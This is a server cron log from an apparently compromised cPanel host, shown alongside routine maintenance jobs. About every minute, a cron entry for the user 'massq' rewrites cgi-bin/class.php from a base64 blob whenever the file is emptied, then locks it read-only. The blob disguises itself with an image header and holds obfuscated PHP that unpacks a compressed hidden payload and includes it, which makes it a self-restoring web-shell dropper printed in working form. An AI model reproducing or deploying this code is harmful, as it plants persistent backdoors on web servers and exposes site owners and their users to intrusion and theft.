Sep  2 02:35:02 server CROND[6900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:35:02 server CROND[6902]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 02:35:02 server CROND[6903]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:35:02 server CROND[6904]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 02:35:02 server CROND[6907]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 02:35:02 server CROND[6906]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 02:35:02 server CROND[6909]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 02:36:01 server CROND[7745]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:36:01 server CROND[7744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:36:01 server CROND[7746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:37:01 server CROND[8221]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:37:01 server CROND[8220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:37:01 server CROND[8222]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:38:01 server CROND[8602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:38:01 server CROND[8603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:38:01 server CROND[8604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:39:01 server CROND[8993]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 02:39:01 server CROND[8994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:39:01 server CROND[8992]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:39:01 server CROND[8996]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:40:01 server CROND[9397]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 02:40:01 server CROND[9400]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 02:40:01 server CROND[9401]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 02:40:01 server CROND[9402]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 02:40:01 server CROND[9403]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 02:40:01 server CROND[9409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:40:01 server CROND[9407]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:40:01 server CROND[9406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:41:01 server CROND[10297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:41:01 server CROND[10296]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:41:01 server CROND[10299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:42:01 server CROND[10768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:42:01 server CROND[10769]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 02:42:01 server CROND[10770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:42:01 server CROND[10767]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:43:02 server CROND[11161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:43:02 server CROND[11162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:43:02 server CROND[11163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:44:01 server CROND[11589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:44:01 server CROND[11590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:44:01 server CROND[11591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:45:01 server CROND[12017]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:45:01 server CROND[12023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:45:01 server CROND[12024]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 02:45:01 server CROND[12027]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 02:45:01 server CROND[12025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:45:01 server CROND[12026]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 02:45:01 server CROND[12028]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 02:46:01 server CROND[12880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:46:01 server CROND[12881]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
